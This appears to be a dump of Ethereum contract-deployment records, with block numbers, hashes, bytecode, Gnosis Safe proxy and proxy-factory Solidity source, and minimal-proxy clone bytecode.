608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
// SPDX-License-Identifier: LGPL-3.0-only pragma solidity >=0.7.0 <0.9.0; /// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain /// @author Richard Meissner - <richard@gnosis.io> interface IProxy { function masterCopy() external view returns (address); } /// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract. /// @author Stefan George - <stefan@gnosis.io> /// @author Richard Meissner - <richard@gnosis.io> contract GnosisSafeProxy { // singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated. // To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt` address internal singleton; /// @dev Constructor function sets address of singleton contract. /// @param _singleton Singleton address. constructor(address _singleton) { require(_singleton != address(0), "Invalid singleton address provided"); singleton = _singleton; } /// @dev Fallback function forwards all transactions and returns all received return data. fallback() external payable { // solhint-disable-next-line no-inline-assembly assembly { let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff) // 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) { mstore(0, _singleton) return(0, 0x20) } calldatacopy(0, 0, calldatasize()) let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) if eq(success, 0) { revert(0, returndatasize()) } return(0, returndatasize()) } } } /// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @author Stefan George - <stefan@gnosis.pm> contract GnosisSafeProxyFactory { event ProxyCreation(GnosisSafeProxy proxy, address singleton); /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param singleton Address of singleton contract. /// @param data Payload for message call sent to new proxy contract. function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) { proxy = new GnosisSafeProxy(singleton); if (data.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, singleton); } /// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed. function proxyRuntimeCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).runtimeCode; } /// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address. function proxyCreationCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).creationCode; } /// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer. /// This method is only meant as an utility to be called from other methods /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function deployProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) internal returns (GnosisSafeProxy proxy) { // If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce)); bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton))); // solhint-disable-next-line no-inline-assembly assembly { proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt) } require(address(proxy) != address(0), "Create2 call failed"); } /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function createProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) public returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); if (initializer.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, _singleton); } /// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. /// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized. function createProxyWithCallback( address _singleton, bytes memory initializer, uint256 saltNonce, IProxyCreationCallback callback ) public returns (GnosisSafeProxy proxy) { uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback))); proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback); if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce); } /// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce` /// This method is only meant for address calculation purpose when you use an initializer that would revert, /// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function calculateCreateProxyWithNonceAddress( address _singleton, bytes calldata initializer, uint256 saltNonce ) external returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); revert(string(abi.encodePacked(proxy))); } } interface IProxyCreationCallback { function proxyCreated( GnosisSafeProxy proxy, address _singleton, bytes calldata initializer, uint256 saltNonce ) external; }
1
19,501,460
0423838008b9cecfbc1dd7127e381f597233653d6f1c59d27a9922f6b646c457
8bcf9af2436c0b61042c438b22372372af9847586a33a08b09eeca0c986404f8
d24400ae8bfebb18ca49be86258a3c749cf46853
485b9a41e8bf06e57bb64c6ba7cb04f9d53d2d76
8af8144034f1dd2443bb53d6ba5f2b29fb38dab7
3d602d80600a3d3981f3363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
1
19,501,460
0423838008b9cecfbc1dd7127e381f597233653d6f1c59d27a9922f6b646c457
73b0a9799470b9ee1c81ea510b4cbfa510b1809330f0679aaa2ddb210df8db23
d24400ae8bfebb18ca49be86258a3c749cf46853
485b9a41e8bf06e57bb64c6ba7cb04f9d53d2d76
52d8b6fb7c05d829f87c2aa74978c4dd4ff1ce37
3d602d80600a3d3981f3363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
1
19,501,460
0423838008b9cecfbc1dd7127e381f597233653d6f1c59d27a9922f6b646c457
9b79c24e027e7e625bfb9dae775403f5bd0cfcb3f8037ed083787c2ba6e6c692
d24400ae8bfebb18ca49be86258a3c749cf46853
485b9a41e8bf06e57bb64c6ba7cb04f9d53d2d76
c50f13206a489d3ea95baa2c6b2bcd7ce90301b5
3d602d80600a3d3981f3363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
1
19,501,460
0423838008b9cecfbc1dd7127e381f597233653d6f1c59d27a9922f6b646c457
e3a92c763946602c95fbb35695da2f74b046ec439ead69b297785586fae30d93
d24400ae8bfebb18ca49be86258a3c749cf46853
485b9a41e8bf06e57bb64c6ba7cb04f9d53d2d76
2f55f052c3eae6909cccc06fc4507137a1771a7e
3d602d80600a3d3981f3363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
1
19,501,460
0423838008b9cecfbc1dd7127e381f597233653d6f1c59d27a9922f6b646c457
51de28df0457e94a7e3e4df97013f2f279a28ca2a462cd01f4c4f3b0384a660b
fd25bf8c8cdc243c18297d34e4489559bf7feb80
a6b71e26c5e0845f74c812102ca7114b6a896ab2
e9571ba21ab254b53dab401481e9036f6c23c9ce
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
// SPDX-License-Identifier: LGPL-3.0-only pragma solidity >=0.7.0 <0.9.0; /// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain /// @author Richard Meissner - <richard@gnosis.io> interface IProxy { function masterCopy() external view returns (address); } /// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract. /// @author Stefan George - <stefan@gnosis.io> /// @author Richard Meissner - <richard@gnosis.io> contract GnosisSafeProxy { // singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated. // To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt` address internal singleton; /// @dev Constructor function sets address of singleton contract. /// @param _singleton Singleton address. constructor(address _singleton) { require(_singleton != address(0), "Invalid singleton address provided"); singleton = _singleton; } /// @dev Fallback function forwards all transactions and returns all received return data. fallback() external payable { // solhint-disable-next-line no-inline-assembly assembly { let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff) // 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) { mstore(0, _singleton) return(0, 0x20) } calldatacopy(0, 0, calldatasize()) let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) if eq(success, 0) { revert(0, returndatasize()) } return(0, returndatasize()) } } } /// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @author Stefan George - <stefan@gnosis.pm> contract GnosisSafeProxyFactory { event ProxyCreation(GnosisSafeProxy proxy, address singleton); /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param singleton Address of singleton contract. /// @param data Payload for message call sent to new proxy contract. function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) { proxy = new GnosisSafeProxy(singleton); if (data.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, singleton); } /// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed. function proxyRuntimeCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).runtimeCode; } /// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address. function proxyCreationCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).creationCode; } /// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer. /// This method is only meant as an utility to be called from other methods /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function deployProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) internal returns (GnosisSafeProxy proxy) { // If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce)); bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton))); // solhint-disable-next-line no-inline-assembly assembly { proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt) } require(address(proxy) != address(0), "Create2 call failed"); } /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function createProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) public returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); if (initializer.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, _singleton); } /// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. /// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized. function createProxyWithCallback( address _singleton, bytes memory initializer, uint256 saltNonce, IProxyCreationCallback callback ) public returns (GnosisSafeProxy proxy) { uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback))); proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback); if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce); } /// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce` /// This method is only meant for address calculation purpose when you use an initializer that would revert, /// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function calculateCreateProxyWithNonceAddress( address _singleton, bytes calldata initializer, uint256 saltNonce ) external returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); revert(string(abi.encodePacked(proxy))); } } interface IProxyCreationCallback { function proxyCreated( GnosisSafeProxy proxy, address _singleton, bytes calldata initializer, uint256 saltNonce ) external; }
1
19,501,461
cf4cd3a0a20800c59c70d5dc9188396e94409288bbb975a477e55c90ff95d4da
77ecc60a8d884e62441144679ba15a27c13d727a2f34b2561caebc5668b5dd53
d24400ae8bfebb18ca49be86258a3c749cf46853
485b9a41e8bf06e57bb64c6ba7cb04f9d53d2d76
bdbca99e8f52d0ca1e9a07887fc4e76c40c83a90
3d602d80600a3d3981f3363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
1
19,501,465
89b549a857d9766a6ba1879233d1f46983a9908a266a315bf912a9ce963e709a
f12bd73a5462152dcaea23a8cdf0ddee0cc422f8adfdf65bfb158a99202072a6
97dde620738e2b1e14db28bd569aa744a4e8d037
881d4032abe4188e2237efcd27ab435e81fc6bb1
758245faf3e79cdefee9e07375670fe5254ab0e3
3d602d80600a3d3981f3363d3d373d3d3d363d73f1513d0f2869627e8a8d6e9508553f1ce387819f5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d73f1513d0f2869627e8a8d6e9508553f1ce387819f5af43d82803e903d91602b57fd5bf3
1
19,501,470
f13a5f38c73117ed26eadf9822a6001ad598f7f527765fc8ed0327ad1b21326c
dc75f789cc66225c30499e0351a4c70d594b0a0b3cc2d78ac2790ea934a30a69
82ccc769b300812f0e49be21b37d9a29e13b0b35
fcf68515aa6540dcd77f136dcb4f4ccd9967769a
a0dd975905c1563ddd316550c4b0f895d6bfb182
6300003a3b80600e6000396000f3008d7b67205b6fd8beadb56bd6a68aa2a2a855ab8ad6de5ba446ad22a404b16ac65ead55a3f62668953462d7a8bda388bd55502345e9abbff7fff1fdf03f5f72ce73aee77eeee7bac773e5c38935d07b414dc14641404040ada9a16644404084222020212021be19f963b4f5ef47d440c744fd2f7efdc103407445ec75d5fa6271bcbb19e43c3cf2477ffbdfcddefacaf5bfdd913543eb9fd7e6eaf7deef9ce65555cbca12103c8168aaa998f8cffd9c19bc1dfa884e7dfc248db9865f74b66d999ce9de2b712ab291ef0024aa6b9288e0ffb83a6a019de50852a8e44f95b9fe9d5e05709df3c87c38ea367c2da99d083aaddbd09738bcf7b90c1cb78cfc6249067dafd6577bdd3fa53bd1756c450655fe13cc9aed68d0ec19ee6841b17b66018fadb87cc5ea54848b77cc8a41e967d8396c2581d9e16177a902a3acc3445ca2468a9850afcc0e01a46c53b4ba863f6a6fa790ef92691c129ea75b3ccbcda807af640dfbdccee4453db609fa8422aecee04529d84cd17e3e171d9650cb2c0f5c9ec3d8d1fb178bd4509ab02c42940f62100870e1dce148a1197c9b1e4ad93ed226572bde334067530430d89e84cb35dedc5681a1ab9cc63554e31b3b45564723bca6ffa0f8ae80042ef5a44a13f8b604f4e58361eee2d142937f2fc29cd00e14e9bc2813ecb32f177ad27d537290648071b311fc3436d087090a3984c2221137482368f57c93c07fb628b14d52a5126a3258a8a8aacfa40de6fffb567f9b0dcb174870899f0cfa999ce118038e0e7c75f903a3522da18641b744551f6f1bc1b73f8ef31fd3db667ea3feb715c07ec80ee8377ef68621419fafe8c8c5dc3c2c8a6abc7477b1bdb300c7b925a1e6572a72d22efba077f6863a371b01b1b0b38b8e46aa719b5d7a18a94bfe9ae53fcf9bd9bd287bb8076fc08583ab511a4c6d6470c718808adfd5f799a2e0a497ac4583d3d8c33e6a6af711b783f850f92211c4a551b4f696bc0494c7fdf5b8d45830a8489550a23d440cb312b2d08cdfb6da0ea9f7267faed7fd9411de1c85e9720b636e8a321f6c2a6006528a8e11b5f2ccafae0373c5576a6c49afd824c31e115fc8be926f3aa8d4db20f2e9dd3ddc775f5006b1c2c1ca28e7068afc8b895683eb7de09c021c97b3f351ad657e5e5158d2476c6a94b9f10b3e5003b20d2af576d57c7aeb562861501c3ebad546b5d946c12dfab904506e3dd2f40b1a1f323a4b837dbbc4da6815927bcb4e46b13be767221b2a07805475b024e1ea835dd2260fc2c1fbef90ed7c51b09f7d7bbf9e2fda7aab626a58b0c6104141c7f64b5c9740d8f246d2602eac5fdd56800b85dd5ed5013e381ed897a6e007c5cb94de7aa2f4eec7d8fe0bbc3b70c305df43eadf6db40866d8dc3e39cf2b9c4fc56922a562ed67f5dc0703a902ad19b76bf137d0ccf2b537bf3ec8bad7c55d56bd8fbbf5bcc49fe7aef7f3e6899b57cdc38e5a1b7ffc395f8f6a67be000fe63c6ce2ebdaa92fbdb104b05e8ea3f49a0505f11e3cb3fe54df98a021599e3b92d04655ee0edef62dd17ebc425afa02bde3885e318e4bb0f4a23cd08965db3979b3a9e4233fa1c8de2cf060abafe58b6f73727ff71b114f61f947c2d1fac31d129f0be793c1ec0bd9febbf9038290f7b5e93698dca5b127336a82c3ff4250ebe566941ba09c7e05a312e1b7761dbca09bbc57c314d29391abe47339ce0fea74c3172ad649feb02a4d0cd011a85611a983836550a210b727e711c5ca8a89b36827ae15e345b345eac02351b46a3303966505beffad0c6d28a654c6c3cfb418a0e4cefcb5f28f52edbf9736458a7567ee0e8b734760f3a8a826a01af4cd2fa17b51de9c51d805aa28bfedb3824bfa85efaf197f6511d1d9b9f4b01ba7b1dc012cdc87dda7e8025ad2f030d978dd40020500c97e2ebcb7e767e132f6de1ccf834a2e569506450f6254f117a8ba0ed27dbe1d52b4a187c71becc7b1df8bb76984be6b853ff611abd36e5c9ef6a39dd7a91a99a6041b2fcee2e690113b46967567c425858110ac34b2edf70f9fbf478905a2d552cbd877ea06155faf5c3bc65a9180f1c8e67a81221368a674fb1f287095107c1164f7ce774cbdae8c1a8b59a1e03777ac7175033cbe70cabda34791f3b3e05f5ad036ae30bdea3d57ff09fa75b46fc7967db888a57af3db60776c5f8b65d88c6c30f69945c5ea4c175fdec5e3ceabbecd7cc87efd4da400b331e692ce7946019d88743c32e88dcd5dd4d57678adbffae735f2c33593c5fac6ced2f88076316ce13c1b0bc5e76e39f5dc73998664a3cef4c5636dbf6db61f29182312c6df5987c1427a40d610f0df715f2f57726a2cc2673c8d654fa761b58c3c93299ea05df62701e6bf05c1d6c04851630ac759e486eef168c47bcb5bb21132675ea743a8473769c5cf769c3dfccdb14b487ab27c50f3ab65e3b75ad4a76238581fe5326aedfcf38e1d7f264fe51f3fea5f83c885553d5216fd151a6c92cffcdaccfbd1435131e759f6e05b7fe6538fa9c185a2487e79f79b2ca694de1415eac288c31ea66e58062b3b93bb31162fb2bdbbdc42aae28daf3892871de69f696324b6e97598f0079e2cb13c049f7277008dfd42780edcd855cf22d6e2eb6d62150233caf9aec6e59bb6e3ca2bea4ed9f854d4b553b4246a8aeeb3883585529f924a0c60661b722e351e9cacc14378f10cf56255abb7550d79788fbf884d41302783c771daaf6a0cbfb622cf89f22ca7947be7d7491a11319596d91f73ce6b9ce9322f5f4017e6a25550a9768d57c5b74237344033c9ab1be6081bd9eda992c6e567b6427de21f3aa6c87163b5c7a51047e9073daabbb96f22df33c89b6aa0f57266ee08541dd31ff86cb7e5209635406517021bbbc16147a66f78de115dec50cf1f7d0f82f7797ef70e2b6996ee78fb76bbad0140b3ce6f46ab625cbb0c9f485ccd5503a1924d0e9c2763ef6b98102bc7cafbb42701d61f80ee3da0b6724de1a93ef8e3c47be47d383af9fe79c81f0a392da3cfcdb23e4ba6781e2045c5b43541ba5b4aff7de8add9e2414aa8554cb4963e54328642649ebbce950a2b56124805088e28152e53879c9ba26783334c473a143d0956b5dc323cbc11ba3a17ee9f1ff9b4a7e0ce7980abc5e9948331320e69eceb934cfd98c6dd8d907ab83a4b9ddd8d99524ab9126051941f75c22ac7abfe5c7e64ad0d5d7eb87f0159b8958b88aed6ebfd899b78d751ca55d01904d623420d2d8e83d0203e403d08f196a86a87de3e31a7450ae361659126ed138851a4c0c0a6dc9b5abe384a4d2e7f6449794168626bf5d1a0d601e1ea83859bbe4e90b801f5a820298b6eb96b6a9591882c75f06290bfbadb67da073f8d7698f2630edf0159eef9ce630421a555d8b17d63fc5de0f352d2f77bbd25b2355570f2fc60c6319feb5b2c8597f31fe7208edb671594726553f12cba23d64ec10a33672116a424f8fc0490ae90d535c0ca2b918e1565b3cba5c9beb28eeab4266e5e0ed1a0fc4ebcb71796cfe2206c7f7a4b080e8e466da942f80c7228ea0443b101f2080d3962c69036eb1c5392d7df13180b7fbc92f6b99c5464937926c269490d4cb1f237cc7ca374e60a2275ef8ca233d6f2a58e069ba3a2d79ecbf6d11a950f251d1cd7857b0c6e8f5294b2aa173bf0fdfabd39b6afe947db5616b52705f77a95be8f0cd558665b7f97916107f2e27d3d9d571fcc853aa8b9c440268b5d4edce5d7661258f1c7e8cf1fe688dc996acffc9f9d8da05a9eadf6c19efc45bbef946699cf5e530028c0aacd659462430fdd7ff410fc18b371149c9962dedac035662ee08cd48d070b9c9206fd6bf7c7f60df15e7381a0796ae90139dabb46d930416d4ac0766dd7d8be915f32cec198240329828821482159f2700bd62536bf39d84ccceb1b74843c36a715215b7fdaff8e2bbd5ccf96405063f5a00ddda79bbea037caa075abbc07bffd93b74eac9cea981a18a9b0d73e7f15c14f6ee37153abc259f7e89afcdc8ca2efa2827770116ea933d1729b7990522aea2f5cf44dee69e975d4d8109f51f9e5ec5446de69c434c522a6f2b464211643870a4a88678198cef046df1c4cf240626ba812e917a119b92c0ae1755751bd00a196e50bbf6f697a49bc2eeba6daae55567022459fc0716c9c9b45f365d9f133054b4b67b87ed965d97b5c0f251db49bc77d6f26c55d622a17962fed233fde73e6daf984226a38c08dbb6cc8ed9e46b22a35a89386dfcb54fa0b95ef77a0d71e1516e4e3a8ad099fa68c600439e5d7f92e3376bcad297bb508e3062af5a46f21292620d1e072143ba476f679ad933a00f681867af17b4119ed8c5589066ea69edc7367d26aab0a6d6c86d918db37f5b32e97be6a5b6f10ca5c277de224765adab33ed5307de70e6ebab67059c99a1c0f197a6709bc7fa3182a71c9ba48e7ef9a5c299f22d93a58fd7ee43ed66a1bb2d819d013558dd3e650ea8c52e83e15d24e516d36b7e984db9bcff7fb69459a90d32c965a24eef19bc62e3a2c963b56d485b37b7a7d78285767940a07d7a152ce7ea92a9857b0bea18edd9e5946678aa6bf191dfcd68a92e2ef285975f5601d42c3c94aedb6cfaa5a5ce18e8abd858e8bb9cd33844ebb255133104a31d88ff5f94d718da7abbdf75754813abe37ed7ca132985c831395b70beecc83bccd931511429344fab981742224fd29bd922cb484039e04b7a4e93264120dd9d39f23d9e3d91408ce88bb1e62f40befff47dc687095f03c7516575f62d270829915dc088c82f55ecd77c53b81186232767a30a84782260bcc6251d956344f8d66a247c7f6d5fcd6ce2d96f5ca70955fbb6e2d94f250d8919e221cc74c8eaeed0fc0151c32e13c04b45145068c3a85428ca4862e14453c1485b6148574149d7430ab89846bf71f5b0af307954f0273027f2c082d79048428bc1323dd9c667be3df2c3ef91cd6296534c32a75c0012ec7f96dd38b65a6c0166eaf308f07fda4261cb2d019032ee28e9f033a73a02fd545abbd954e152cf023a885cae77380b58bd5c157b86f95974ca8e541a6e8356a68c24758e583b57ab60cc5f52fda43df0fd9ea220cb8ed633a4e9ed93731b776657ed6ad18fd077f1bb7d72531533ad3f2a37ee694b4ce20f8b7cbde6439288341ecf062ac16751b33e976643d8304f01619e3d97d623345b8ab17e3a61ce23a070b9ff8745aef66342d97f95ae82d4b810cd4a6ef6681749799419e79f471fb9597d4a8bab5807b67f73e59514a6a71a18f19177c84f25660a088afeb1a63a992431ee818d4f1e873206bf0f3c1a9ada92b1a2c06f2b733e47e923a3be5267b61a9a9b37f2c4b81b6daf7eb2011fbe01e5c05e67377d32915fb12070e6cfa4216dafe02ef085c05a53174cf99fc1aae91efa64493789576c4324b4e5a0e0d4a19a67d7b801294312ad5617b99a5086dd7c29b024d0916cbece65599599e04ee97339e41f88c9de95689fb20793cebfd77d4acdd53bc158ee712eb05b4b2cae14c55dfb195971ea8b78d8aa2e061ef050d6c17ffa37576cb1550f80bfdc338460e40f7dd69e4066dee65237f38c15453390ebfd3763e0e0e737b47d72885f01cfeee3ec32a0166a01b3d64bb25770799fd1ea85b5c5c563dd019f6a0d46737a41847592fcc252fa251794dbbf26dded00d789c3852b0e59f4812e42e206d0ea9e691da24142a36ca37c66b43f3fbb00d89ae1f52ef1110ca7b4b54bb164fa495f9c09dfd19585faea727eb235f752a3c8b7fbc3175658fc5785d6919edbd33509f20c2144821cc5b643b45766e839c8077d5741a9ab85ec9fdd10a88f98ff0db58678827991e7d57b1cb327f62494ff223b12f382a01f627c4a584ea78986724013dc99e9b067cdfdbb197b3ce96b6992aa21c37baad942ccff53270881d2930d39d8d3b0c287e3ece5a23b6491b36d61ded49173e6de4706018d3bb9958d2c2b93275c58b7d9bff2d6f555340716ae3353127365b865afc14fd5532815cb74879e165326530071ff8597e4722e62a954fb14c11fa5633b36e390319839d725b31e2a99ddfa1caec68d598ee7c8d3bee95f2efe58fe188f8ee4d6cfd539cabe01f186fba40dfccb9f289d8323305d25209d6bce3e66e71db1cab268fd6b9439442c0bbeaaa75f9f0261d55516f93d821fb67a4d6874433a27142ab8ee4131698bcea54020b296eed547f64ef7b64398e76a7edb68ccb7d17bd9669769211d74badd4c193816471f37c8fc55dbfa8145b2faa58728f6fc9df1bde0f5b93e8635f4e04ef5cbd6efdecda9b16743d909c69fe9952ac16104ab900752ee84127ae992f749622cb8849de61a6cf43ea426a0f765aca717f67590508102387813d39619716f5601ab767bad6c77363ac0456dca34c9dd2b19d042adb290e38045f77c65bd32545e8dfd1110327e5bdfee0de79d4d778a3a03166d28710d164d7fdd0794215f61e6b0fe5972969040c2501d2671acd04edbb9b4fa0cab59724080b189bee20f97716a09f83628da83fa938ad65e9275ccc5e28ac12e6ac61aa33f63b5b7fbb77e2dba3cd3b1394f58d2304b9a8fc19c5987901660d7df03d51fee1606299af8ec0d7dea2c0cd57c0431aa4ee24a1e27596ec043a6a5e8bc8c4cbee31aadcad3358a6eeb6dcced45523ee28ba427de8ea75cc98f1a739f34d3e44ec04a08e07d0711cb507af46100a03cb3f58778aa63adba8049c7f7ba74cfc536959220fc58d51845bcb06db3bb1d16c04eeb327702173bdbe2e46ada33f65007405a5384dfcc83eb01b9aad91b2100169f269020d